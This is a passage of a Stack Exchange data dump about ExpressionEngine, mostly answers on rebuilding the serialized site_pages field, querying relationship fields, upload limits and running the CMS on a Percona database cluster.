'/sportsnews/danny-rose-mousa-dembele-reward-pochettinos-faith-in-tottenhams-derby-win/',&#xA;'1015' =&amp;gt; '/sportsnews/lack-of-santi-cazorla-influence-hurts-arsenal-in-derby-defeat-at-tottenham/',&#xA;'1016' =&amp;gt; '/sportsnews/juventus-vs.-ac-milan-live-score-highlights-from-serie-a-game/',&#xA;'1017' =&amp;gt; '/sportsnews/harry-kane-caps-off-statement-spurs-win-as-arsenal-make-same-old-mistakes/',&#xA;'1018' =&amp;gt; '/sportsnews/tottenham-hotspur-vs.-arsenal-winners-and-losers-from-north-london-derby/',&#xA;'1019' =&amp;gt; '/sportsnews/koke-injury-updates-on-atletico-madrid-stars-hamstring-and-return/',&#xA;'1022' =&amp;gt; '/sportsnews/afcon-2015-final-score-and-twitter-reaction-for-ivory-coast-vs.-ghana/',&#xA;'1024' =&amp;gt; '/sportsnews/athletic-bilbao-vs.-barcelona-score-grades-reaction-from-la-liga-game/',&#xA;'1026' =&amp;gt; '/sportsnews/united-states-michael-bradley-scores-directly-off-corner-kick-vs.-panama/',&#xA;'1027' =&amp;gt; '/sportsnews/cote-divoire-0-0-ghana-9-8-on-pens-elephants-win-africa-cup-of-nations-final/',&#xA;'1030' =&amp;gt; '/sportsnews/athletic-bilbao-vs.-barcelona-goals-highlights-from-la-liga-match/',&#xA;'1032' =&amp;gt; '/sportsnews/athletic-2-5-barcelona-catalans-attackers-seal-confident-win/',&#xA;'1034' =&amp;gt; '/sportsnews/inter-3-0-palermo-guarin-and-icardi-fire-mancinis-men-to-victory/',&#xA;'1035' =&amp;gt; '/sportsnews/live-cote-divoire-vs-ghana/',&#xA;'1037' =&amp;gt; '/sportsnews/man-utd-draw-feels-like-defeat-noble/',&#xA;'1039' =&amp;gt; '/sportsnews/blind-unhappy-with-blunt-man-utd-showing/',&#xA;'1045' =&amp;gt; '/sportsnews/manchester-united-reportedly-investigating-alleged-sex-tape-with-unnamed-player/',&#xA;'1046' =&amp;gt; '/sportsnews/harry-kane-tells-young-fan-he-wouldnt-sign-a-contract-with-manchester-united/',&#xA;'1047' =&amp;gt; '/sportsnews/athletic-bilbao-vs.-barcelona-live-score-highlights-from-la-liga-game/',&#xA;'1048' =&amp;gt; '/sportsnews/ghana-vs.-ivory-coast-live-score-highlights-from-afcon-final/',&#xA;'1049' =&amp;gt; '/sportsnews/ac-milan-juventus-in-bickering-match-over-camera-angles-for-controversial-goal/',&#xA;'1050' =&amp;gt; '/sportsnews/real-madrid-transfer-news-major-rumours-surrounding-carlo-ancelottis-squad/',&#xA;'1051' =&amp;gt; '/sportsnews/afcon-2015-final-live-blog-ivory-coast-vs.-ghana-reaction-and-analysis/',&#xA;'1052' =&amp;gt; '/sportsnews/barcelona-transfer-news-paul-pogba-targeted-latest-dani-alves-rumours/',&#xA;'1053' =&amp;gt; '/sportsnews/mickey-van-der-hart-makes-awful-hilarious-blunder-in-goal-vs.-ajax/',&#xA;'1054' =&amp;gt; '/sportsnews/why-sulley-muntari-is-under-most-pressure-for-ac-milan-following-juventus-game/',&#xA;'1055' =&amp;gt; '/sportsnews/antoine-griezmann-fulfilling-diego-simeones-vision-of-him-at-atletico-madrid/',&#xA;'1056' =&amp;gt; '/sportsnews/atletico-madrids-best-fan-in-india-takes-in-the-4-0-drubbing-of-real-madrid/',&#xA;'1057' =&amp;gt; '/sportsnews/usmnt-watch-championship-pair-star-johannsson-scores-against-ajax/',&#xA;'1058' =&amp;gt; '/sportsnews/chelsea-transfer-news-major-jose-mourinho-targets-in-rumoured-summer-raid/',&#xA;'1059' =&amp;gt; '/sportsnews/ravel-morrisons-contract-terminated-by-west-ham-latest-details-and-reaction/',&#xA;'1060' =&amp;gt; '/sportsnews/10-potential-summer-transfer-targets-for-chelsea/',&#xA;'1061' =&amp;gt; '/sportsnews/west-ham-vs.-manchester-united-live-score-highlights-from-premier-league-game/',&#xA;'1063' =&amp;gt; '/sportsnews/moyes-wants-burnley-ace-ings-at-real-sociedad/',&#xA;'1065' =&amp;gt; '/sportsnews/barclays-under-21-premier-league-2015-table-latest-standings-results-on-feb.-9/',&#xA;'1067' =&amp;gt; '/sportsnews/zlatan-ibrahimovics-wax-statue-is-unveiled-in-paris/',&#xA;'1068' =&amp;gt; '/sportsnews/di-maria-very-content-at-manchester-united/',&#xA;'1070' =&amp;gt; '/sportsnews/luiz-adriano-i-wanted-to-join-roma/',&#xA;'1072' =&amp;gt; '/sportsnews/real-madrid-fans-angered-by-ronaldo-party-after-derby-thrashing/',&#xA;'1074' =&amp;gt; '/sportsnews/florentino-perez-rallies-troops-as-real-madrid-reach-crisis-point/',&#xA;'1076' =&amp;gt; '/sportsnews/transfer-talk-reus-to-sign-new-dortmund-deal/',&#xA;'1078' =&amp;gt; '/sportsnews/aaron-ramseys-poor-form-should-be-a-major-worry-for-arsenal/',&#xA;'1079' =&amp;gt; '/sportsnews/video-pitch-invading-dog-brings-ecuador-clash-to-a-standstill/',&#xA;'1081' =&amp;gt; '/sportsnews/bundesliga-team-of-the-week-schurrle-starts-with-a-bang/',&#xA;'1083' =&amp;gt; '/sportsnews/leicester-city-manager-pearson-hits-out-at-pundits-after-sacking-rumour/',&#xA;'1085' =&amp;gt; '/sportsnews/boost-for-bayern-as-boateng-ban-cut-to-two-games/',&#xA;'1087' =&amp;gt; '/sportsnews/watch-robbens-rocket-and-the-best-bundesliga-goals-of-the-week/',&#xA;'1089' =&amp;gt; '/sportsnews/everything-ac-milan-fans-need-to-know-about-new-signing-mattia-destro/',&#xA;'1090' =&amp;gt; '/sportsnews/liverpool-vs.-tottenham-brendan-rodgers-key-takeaways-from-pre-match-presser/',&#xA;'1091' =&amp;gt; '/sportsnews/bayern-munich-stars-wear-fancy-dress-for-ana-ivanovic-bastian-schweinsteiger/',&#xA;'1092' =&amp;gt; '/sportsnews/manchester-united-transfer-news-jackson-martinez-rumours-emerge-and-more/',&#xA;'1093' =&amp;gt; '/sportsnews/why-arda-turan-remains-an-indispensable-part-of-atletico-madrid-project/',&#xA;'1094' =&amp;gt; '/sportsnews/wayne-rooney-yet-to-have-a-premier-league-shot-on-target-in-2015/',&#xA;'1095' =&amp;gt; '/sportsnews/borussia-dortmund-5-potential-replacements-should-marco-reus-leave-this-summer/',&#xA;'1096' =&amp;gt; '/sportsnews/cristiano-ronaldo-8-reasons-why-real-madrid-should-rest-their-star-more/',&#xA;'1097' =&amp;gt; '/sportsnews/wilfried-zaha-how-manchester-united-failed-the-12-million-england-star/',&#xA;'1098' =&amp;gt; '/sportsnews/calls-for-manuel-pellegrini-to-leave-manchester-city-ignore-his-work-so-far/',&#xA;'1099' =&amp;gt; '/sportsnews/epl-table-updated-premier-league-standings-fixtures-title-odds-after-week-24/',&#xA;'1100' =&amp;gt; '/sportsnews/harry-kane-reportedly-scouted-by-real-madrid/',&#xA;'1101' =&amp;gt; '/sportsnews/serie-a-controversy-flawed-milan-join-napoli-and-roma-in-attacking-juventus/',&#xA;'1102' =&amp;gt; '/sportsnews/a-5-point-plan-to-ensure-lyon-fend-off-psg-in-ligue-1-title-race/',&#xA;'1103' =&amp;gt; '/sportsnews/cristiano-ronaldo-shakes-his-head-in-anger-at-iker-casillas-conceding-goal/',&#xA;'1104' =&amp;gt; '/sportsnews/la-liga-winners-and-losers-atletico-madrid-blow-away-real-blow-open-title-race/',&#xA;'1105' =&amp;gt; '/sportsnews/liverpool-transfer-news-reds-watch-mauro-icardi-paulo-dybala-in-latest-rumours/',&#xA;'1106' =&amp;gt; '/sportsnews/why-mario-gotze-and-robert-lewandowski-are-underperforming-for-bayern-munich/',&#xA;'1107' =&amp;gt; '/can-liverpool-continue-their-unbeaten-streak/',&#xA;'1108' =&amp;gt; '/combo-banger-for-round-25-of-the-premier-league/',&#xA;'1110' =&amp;gt; '/the-copa-del-rey-semi-finals-are-here/',&#xA;'1112' =&amp;gt; '/sportsnews/arsenal-vs.-leicester-city-winners-and-losers-from-premier-league-game/',&#xA;'1113' =&amp;gt; '/sportsnews/koeman-barcelona-rumours-are-inevitable/',&#xA;'1115' =&amp;gt; '/sportsnews/el-shaarawy-ac-milan-players-still-support-inzaghi/',&#xA;'1117' =&amp;gt; '/sportsnews/liverpool-3-2-tottenham-late-balotelli-strike-settles-five-goal-thriller/',&#xA;'1119' =&amp;gt; '/sportsnews/arsenal-2-1-leicester-city-walcott-on-target-for-below-par-gunners/',&#xA;'1121' =&amp;gt; '/sportsnews/sunderland-0-2-qpr-hoops-pick-up-first-away-win/',&#xA;'1123' =&amp;gt; '/sportsnews/hull-city-2-0-aston-villa-ndoye-stars-on-debut/',&#xA;'1125' =&amp;gt; '/sportsnews/marquinhos-to-man-utd-we-will-see-in-the-summer-says-agent/',&#xA;'1127' =&amp;gt; '/sportsnews/martinez-hails-jagielka-stones-defensive-partnership/',&#xA;'1129' =&amp;gt; '/sportsnews/from-six-manchester-uniteds-to-60-gareth-bales-the-astonishing-numbers-behind-the-premier-leagues-5.14bn-tv-rights-deal/',&#xA;'1131' =&amp;gt; '/sportsnews/tomkins-signs-new-west-ham-contract/',&#xA;'1132' =&amp;gt; '/sportsnews/preston-north-end-fan-in-south-africa-will-sell-a-kidney-for-man-united-tickets/',&#xA;'1133' =&amp;gt; '/sportsnews/what-the-5.136-billion-tv-deal-means-for-premier-league-fans-and-england-team/',&#xA;'1134' =&amp;gt; '/sportsnews/chelsea-transfer-news-raphael-varane-swoop-thibaut-courtois-to-madrid-rumours/',&#xA;'1135' =&amp;gt; '/sportsnews/liverpool-transfer-news-latest-rumours-on-vincent-enyeama-to-sign-for-reds/',&#xA;'1136' =&amp;gt; '/sportsnews/liverpool-vs.-tottenham-hotspur-live-score-highlights-from-premier-league-game/',&#xA;'1137' =&amp;gt; '/sportsnews/louis-van-gaal-should-look-to-counter-long-ball-united-accusation-on-the-pitch/',&#xA;'1138' =&amp;gt; '/sportsnews/landon-donovan-girlfriend-hannah-bartell-announce-engagement/',&#xA;'1139' =&amp;gt; '/sportsnews/arsenal-vs.-leicester-city-live-score-highlights-from-premier-league-game/',&#xA;'1140' =&amp;gt; '/sportsnews/why-ac-milans-new-stadium-will-propel-the-rossoneri-back-to-the-top-in-europe/',&#xA;'1141' =&amp;gt; '/sportsnews/manchester-citys-top-5-goals-this-season-james-milner-sergio-aguero-star/',&#xA;'1142' =&amp;gt; '/sportsnews/stoke-vs.-manchester-city-team-news-preview-live-stream-and-tv-info/',&#xA;'1143' =&amp;gt; '/sportsnews/manchester-united-transfer-news-marco-reus-contract-sparks-mats-hummels-rumours/',&#xA;'1144' =&amp;gt; '/sportsnews/lionel-messi-celebrates-10-million-followers-on-instagram-with-special-jacket/',&#xA;'1145' =&amp;gt; '/sportsnews/can-daniel-sturridge-and-harry-kane-be-the-perfect-attack-for-englands-future/',&#xA;'1146' =&amp;gt; '/sportsnews/does-marco-reus-new-deal-really-secure-his-future-at-borussia-dortmund/',&#xA;'1147' =&amp;gt; '/sportsnews/louis-van-gaal-gives-dossier-to-journalists-to-try-disproving-long-ball-critics/',&#xA;'1148' =&amp;gt; '/sportsnews/manchester-united-vs.-burnley-louis-van-gaals-key-quotes-from-latest-presser/',&#xA;'1149' =&amp;gt; '/sportsnews/assessing-manchester-citys-summer-signings-on-their-performance-so-far/',&#xA;'1150' =&amp;gt; '/sportsnews/grading-atletico-madrids-defenders-on-form-so-far-this-season/',&#xA;'1151' =&amp;gt; '/sportsnews/why-real-madrid-should-keep-denis-cheryshev-in-the-summer/'&#xA;);&#xA;&#xA;$templates = array(&#xA;'1' =&amp;gt; '12',&#xA;'8' =&amp;gt; '28',&#xA;'13' =&amp;gt; '28',&#xA;'14' =&amp;gt; '19',&#xA;'55' =&amp;gt; '13',&#xA;'56' =&amp;gt; '13',&#xA;'58' =&amp;gt; '12',&#xA;'2' =&amp;gt; '11',&#xA;'3' =&amp;gt; '11',&#xA;'4' =&amp;gt; '11',&#xA;'5' =&amp;gt; '11',&#xA;'9' =&amp;gt; '12',&#xA;'64' =&amp;gt; '28',&#xA;'65' =&amp;gt; '11',&#xA;'67' =&amp;gt; '11',&#xA;'100' =&amp;gt; '11',&#xA;'63' =&amp;gt; '27',&#xA;'103' =&amp;gt; '27',&#xA;'105' =&amp;gt; '11',&#xA;'106' =&amp;gt; '11',&#xA;'165' =&amp;gt; '11',&#xA;'166' =&amp;gt; '11',&#xA;'167' =&amp;gt; '11',&#xA;'167' =&amp;gt; '11',&#xA;'168' =&amp;gt; '11',&#xA;'169' =&amp;gt; '11',&#xA;'170' =&amp;gt; '11',&#xA;'174' =&amp;gt; '11',&#xA;'186' =&amp;gt; '11',&#xA;'303' =&amp;gt; '32',&#xA;'304' =&amp;gt; '11',&#xA;'305' =&amp;gt; '11',&#xA;'306' =&amp;gt; '11',&#xA;'466' =&amp;gt; '11',&#xA;'552' =&amp;gt; '11',&#xA;'726' =&amp;gt; '11',&#xA;'727' =&amp;gt; '11',&#xA;'805' =&amp;gt; '11',&#xA;'884' =&amp;gt; '19',&#xA;'886' =&amp;gt; '19',&#xA;'888' =&amp;gt; '19',&#xA;'890' =&amp;gt; '19',&#xA;'892' =&amp;gt; '19',&#xA;'894' =&amp;gt; '19',&#xA;'895' =&amp;gt; '19',&#xA;'897' =&amp;gt; '19',&#xA;'899' =&amp;gt; '19',&#xA;'901' =&amp;gt; '19',&#xA;'904' =&amp;gt; '19',&#xA;'906' =&amp;gt; '19',&#xA;'908' =&amp;gt; '19',&#xA;'917' =&amp;gt; '19',&#xA;'918' =&amp;gt; '19',&#xA;'919' =&amp;gt; '19',&#xA;'920' =&amp;gt; '19',&#xA;'921' =&amp;gt; '19',&#xA;'922' =&amp;gt; '19',&#xA;'923' =&amp;gt; '19',&#xA;'924' =&amp;gt; '19',&#xA;'925' =&amp;gt; '19',&#xA;'926' =&amp;gt; '19',&#xA;'927' =&amp;gt; '19',&#xA;'931' =&amp;gt; '11',&#xA;'932' =&amp;gt; '11',&#xA;'978' =&amp;gt; '19',&#xA;'990' =&amp;gt; '19',&#xA;'994' =&amp;gt; '19',&#xA;'1002' =&amp;gt; '19',&#xA;'1003' =&amp;gt; '19',&#xA;'1004' =&amp;gt; '19',&#xA;'1005' =&amp;gt; '19',&#xA;'1006' =&amp;gt; '19',&#xA;'1007' =&amp;gt; '19',&#xA;'1008' =&amp;gt; '19',&#xA;'1009' =&amp;gt; '19',&#xA;'1010' =&amp;gt; '19',&#xA;'1011' =&amp;gt; '19',&#xA;'1012' =&amp;gt; '19',&#xA;'1013' =&amp;gt; '19',&#xA;'1014' =&amp;gt; '19',&#xA;'1015' =&amp;gt; '19',&#xA;'1016' =&amp;gt; '19',&#xA;'1017' =&amp;gt; '19',&#xA;'1018' =&amp;gt; '19',&#xA;'1019' =&amp;gt; '19',&#xA;'1022' =&amp;gt; '19',&#xA;'1024' =&amp;gt; '19',&#xA;'1026' =&amp;gt; '19',&#xA;'1027' =&amp;gt; '19',&#xA;'1030' =&amp;gt; '19',&#xA;'1032' =&amp;gt; '19',&#xA;'1034' =&amp;gt; '19',&#xA;'1035' =&amp;gt; '19',&#xA;'1037' =&amp;gt; '19',&#xA;'1039' =&amp;gt; '19',&#xA;'1045' =&amp;gt; '19',&#xA;'1046' =&amp;gt; '19',&#xA;'1047' =&amp;gt; '19',&#xA;'1048' =&amp;gt; '19',&#xA;'1049' =&amp;gt; '19',&#xA;'1050' =&amp;gt; '19',&#xA;'1051' =&amp;gt; '19',&#xA;'1052' =&amp;gt; '19',&#xA;'1053' =&amp;gt; '19',&#xA;'1054' =&amp;gt; '19',&#xA;'1055' =&amp;gt; '19',&#xA;'1056' =&amp;gt; '19',&#xA;'1057' =&amp;gt; '19',&#xA;'1058' =&amp;gt; '19',&#xA;'1059' =&amp;gt; '19',&#xA;'1060' =&amp;gt; '19',&#xA;'1061' =&amp;gt; '19',&#xA;'1063' =&amp;gt; '19',&#xA;'1065' =&amp;gt; '19',&#xA;'1067' =&amp;gt; '19',&#xA;'1068' =&amp;gt; '19',&#xA;'1070' =&amp;gt; '19',&#xA;'1072' =&amp;gt; '19',&#xA;'1074' =&amp;gt; '19',&#xA;'1076' =&amp;gt; '19',&#xA;'1078' =&amp;gt; '19',&#xA;'1079' =&amp;gt; '19',&#xA;'1081' =&amp;gt; '19',&#xA;'1083' =&amp;gt; '19',&#xA;'1085' =&amp;gt; '19',&#xA;'1087' =&amp;gt; '19',&#xA;'1089' =&amp;gt; '19',&#xA;'1090' =&amp;gt; '19',&#xA;'1091' =&amp;gt; '19',&#xA;'1092' =&amp;gt; '19',&#xA;'1093' =&amp;gt; '19',&#xA;'1094' =&amp;gt; '19',&#xA;'1095' =&amp;gt; '19',&#xA;'1096' =&amp;gt; '19',&#xA;'1097' =&amp;gt; '19',&#xA;'1098' =&amp;gt; '19',&#xA;'1099' =&amp;gt; '19',&#xA;'1100' =&amp;gt; '19',&#xA;'1101' =&amp;gt; '19',&#xA;'1102' =&amp;gt; '19',&#xA;'1103' =&amp;gt; '19',&#xA;'1104' =&amp;gt; '19',&#xA;'1105' =&amp;gt; '19',&#xA;'1106' =&amp;gt; '19',&#xA;'1107' =&amp;gt; '11',&#xA;'1108' =&amp;gt; '11',&#xA;'1110' =&amp;gt; '11',&#xA;'1112' =&amp;gt; '19',&#xA;'1113' =&amp;gt; '19',&#xA;'1115' =&amp;gt; '19',&#xA;'1117' =&amp;gt; '19',&#xA;'1119' =&amp;gt; '19',&#xA;'1121' =&amp;gt; '19',&#xA;'1123' =&amp;gt; '19',&#xA;'1125' =&amp;gt; '19',&#xA;'1127' =&amp;gt; '19',&#xA;'1129' =&amp;gt; '19',&#xA;'1131' =&amp;gt; '19',&#xA;'1132' =&amp;gt; '19',&#xA;'1133' =&amp;gt; '19',&#xA;'1134' =&amp;gt; '19',&#xA;'1135' =&amp;gt; '19',&#xA;'1136' =&amp;gt; '19',&#xA;'1137' =&amp;gt; '19',&#xA;'1138' =&amp;gt; '19',&#xA;'1139' =&amp;gt; '19',&#xA;'1140' =&amp;gt; '19',&#xA;'1141' =&amp;gt; '19',&#xA;'1142' =&amp;gt; '19',&#xA;'1143' =&amp;gt; '19',&#xA;'1144' =&amp;gt; '19',&#xA;'1145' =&amp;gt; '19',&#xA;'1146' =&amp;gt; '19',&#xA;'1147' =&amp;gt; '19',&#xA;'1148' =&amp;gt; '19',&#xA;'1149' =&amp;gt; '19',&#xA;'1150' =&amp;gt; '19',&#xA;'1151' =&amp;gt; '19'&#xA;);&#xA;&#xA;$data['url'] = 'https://www.betbaas.com/';&#xA;$data['uris'] = $uris;&#xA;$data['templates'] = $templates;&#xA;&#xA;//echo serialize($data);&#xA;echo base64_encode(serialize($data));&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which generates a cool looking encoded string.&#xA;When i insert this string into the site_pages field and save, i get a lot of errors on the frontend:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: 1&#xA;Filename: core/EE_Config.php&#xA;&#xA;Line Number: 356&#xA;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Cannot modify header information - headers already sent by (output started at /path/to/codeigniter/system/core/Exceptions.php:170)&#xA;Filename: core/EE_Input.php&#xA;Line Number: 212&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Cannot modify header information - headers already sent by (output started at /path/to/codeigniter/system/core/Exceptions.php:170)&#xA;Filename: core/EE_Input.php&#xA;Line Number: 212&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Warning &#xA;Message: Cannot modify header information - headers already sent by (output started at /path/to/codeigniter/system/core/Exceptions.php:170)&#xA;Filename: core/Common.php&#xA;Line Number: 446&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just can't seem to find what's wrong here. &lt;/p&gt;&#xA;" OwnerUserId="215" LastActivityDate="2015-02-11T10:12:34.797" Title="unable to update the site_pages field" Tags="|database|php-errors|database-error|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28954" PostTypeId="2" ParentId="28953" CreationDate="2015-02-11T08:57:53.923" Score="0" Body="&lt;p&gt;Looks like you need to contain everything in its Site ID. So, take the code you have now, but change this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data['url'] = 'https://www.betbaas.com/';&#xA;$data['uris'] = $uris;&#xA;$data['templates'] = $templates;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = array('1' =&amp;gt; array(&#xA;    'url' =&amp;gt; 'https://www.betbaas.com/',&#xA;    'uris' =&amp;gt; $uris,&#xA;    'templates' =&amp;gt; $templates&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-02-11T08:57:53.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28955" PostTypeId="2" ParentId="28953" CreationDate="2015-02-11T10:12:34.797" Score="0" Body="&lt;p&gt;Have you tried the script over at &lt;a href=&quot;http://buildwithstructure.com/documentation/how_can_i_batch_update_templates_for_existing_entries/&quot; rel=&quot;nofollow&quot;&gt;www.buildwithstructure.com&lt;/a&gt;? I realise you might not be using structure, but this script might help you as both the pages and structure modules use this field in the database. Personally I've more experience with structure over the pages module, but I've successfully used this script several times before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You input your existing encoded value from site_pages in exp_sites and you can choose which template IDs you want to change. It then gives you a new encoded string to add back into the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Might be worth a shot - but backup backup backup!&lt;/p&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2015-02-11T10:12:34.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28956" PostTypeId="2" ParentId="7090" CreationDate="2015-02-11T12:21:17.557" Score="1" Body="&lt;p&gt;Apache: Keep-Alive Timeout should be more than 5 and turned on (2GB files is around 100)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP:  check open_base&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Server: your /tmp partition needs to be more than the to uploading file. Most /tmp partitions are 512M if your file is larger it won't work. If your /tmp is almost full you get the same problem. (uploads will be uploaded to the /tmp first before moved to your folder)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess that your problem lies -&gt; /tmp&lt;/p&gt;&#xA;" OwnerUserId="394" LastActivityDate="2015-02-11T12:21:17.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28958" PostTypeId="2" ParentId="28951" CreationDate="2015-02-11T14:22:54.167" Score="2" Body="&lt;p&gt;You need to compose the URL for the entry yourself depending on template group and template you want to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the sample URL you posted, I assume it will be something like &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{path=events/test-speaker-series}#{url_title}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-02-11T14:22:54.167" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28960" PostTypeId="2" ParentId="28950" CreationDate="2015-02-11T15:43:50.790" Score="1" Body="&lt;p&gt;Yes, that is a sound approach. Create a Channel for your your government agencies with the necessary Custom Fields to hold data. Then use a data import module to map the data to appropriate Channel Fields and import the records as Channel entries. There are two good add-ons for this: &lt;a href=&quot;https://devot-ee.com/add-ons/datagrab&quot; rel=&quot;nofollow&quot;&gt;DataGrab&lt;/a&gt; and &lt;a href=&quot;https://devot-ee.com/add-ons/importer&quot; rel=&quot;nofollow&quot;&gt;Importer.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you run into issues with running out of PHP memory and timing out you &lt;em&gt;may&lt;/em&gt; need to break the import up into batches.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2015-02-11T15:43:50.790" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28961" PostTypeId="1" CreationDate="2015-02-11T15:54:37.360" Score="1" ViewCount="391" Body="&lt;p&gt;I have looked through the documentation for ee &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/query/&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/query/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no mention of exp:query sql select for a relationship field. I need some help with the syntax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking to get a total_results value from a select by channel and value in multi select relationship field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be awesome. I am very new to the exp:query mod.&lt;/p&gt;&#xA;" OwnerUserId="5036" LastActivityDate="2015-02-11T16:14:39.543" Title="exp:query relationship field" Tags="|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28962" PostTypeId="2" ParentId="28961" CreationDate="2015-02-11T16:14:39.543" Score="1" Body="&lt;p&gt;If you really need to use the Query module for this then this should do the trick to get all the related entries (children) of a given entry:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT count(*) as total FROM exp_relationships&#xA;WHERE parent_id = {entry_id}&quot;}&#xA;    {total}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This example assumes you are inside a &lt;code&gt;channel:entries&lt;/code&gt; loop where the &lt;code&gt;{entry_id}&lt;/code&gt; variable can be passed to the &lt;code&gt;WHERE parent_id&lt;/code&gt; clause. You may need to tweak the WHERE clause to better suit what you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not entirely sure what data you're after, so it's hard to say. But you may want to consider instead just using &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/relationships.html#13342&quot; rel=&quot;nofollow&quot;&gt;:total_results&lt;/a&gt; on your relationship custom field tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{my_relationship_field_name:total_results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastActivityDate="2015-02-11T16:14:39.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28963" PostTypeId="2" ParentId="6740" CreationDate="2015-02-11T16:24:12.643" Score="0" Body="&lt;p&gt;For anyone else expiriencing same issue, make sure the model's file name is lowercase.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-02-11T16:24:12.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28964" PostTypeId="1" CreationDate="2015-02-11T17:00:35.987" Score="1" ViewCount="43" Body="&lt;p&gt;I have lot of entries with many category groups.&#xA;The template first show all entries, after by selecting a category the url became like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://local.site.ext/all/category/category_name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I specify a second category to filter more the entries and how url will be?&lt;/p&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2015-02-11T17:00:35.987" Title="Filter entries by more than one categories" Tags="|channel-entries|categories|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28966" PostTypeId="2" ParentId="26184" CreationDate="2015-02-11T20:00:23.613" Score="2" Body="&lt;p&gt;A few things to make note of when switching to Percona, MyISAM replication is experimental and disabled by default. I would be surprised if it ever becomes fully supported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MyISAM replication is done at the statement level and as such, causes data inconsistencies when you have a query that utilizes a non deterministic function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The CI MySQL drivers included in EE are capable of handling InnoDB, and I have not seen any issues with converting the engine across the board.  EE isn't set up with connection pools in mind, so if you intend to be clustering your database you will need some sort of Master-Master replication.  Also with the connection pools in mind, if you want to utilize all of your databases make sure you put them behind a load balancer to make it easy for EE to understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We had a slightly painful release process as a result of Percona due to the fact that some extensions decide MyISAM should be the storage engine rather than just falling to the default. I hooked in to the database classes to log DDL statements to later inspect and see if they created a MyISAM table rather than InnoDB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used EE on a Percona cluster for over a year now. I went down the avenue of writing a database driver implementation for split connection pools, but it wasn't worth my time then when we could just throw a load balancer in front of it. I recently switched to AWS and now use RDS as the database, but we still use Percona for development and testing. All of our automated testing (acceptance, behavioral, and functional) that utilize a database connection hit Percona through a custom database driver to allow nested transactions via InnoDB SAVEPOINTs. With that I can't give much feedback on 2.9 other than it still works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you are load balancing your Percona Cluster you want to make sure the health check is doing a query to check the replication health, e.g. &lt;code&gt;SHOW STATUS LIKE 'wsrep\_local\_state';&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, ensure your connection lifetime for your load balancer equal to the session length configured in MySQL. You may want to consider setting up server affinity on for your databases as well if you have multiple web servers. Not at all a necessity as the gains you may have from it can be addressed other ways.&lt;/p&gt;&#xA;" OwnerUserId="2728" LastActivityDate="2015-02-11T20:00:23.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
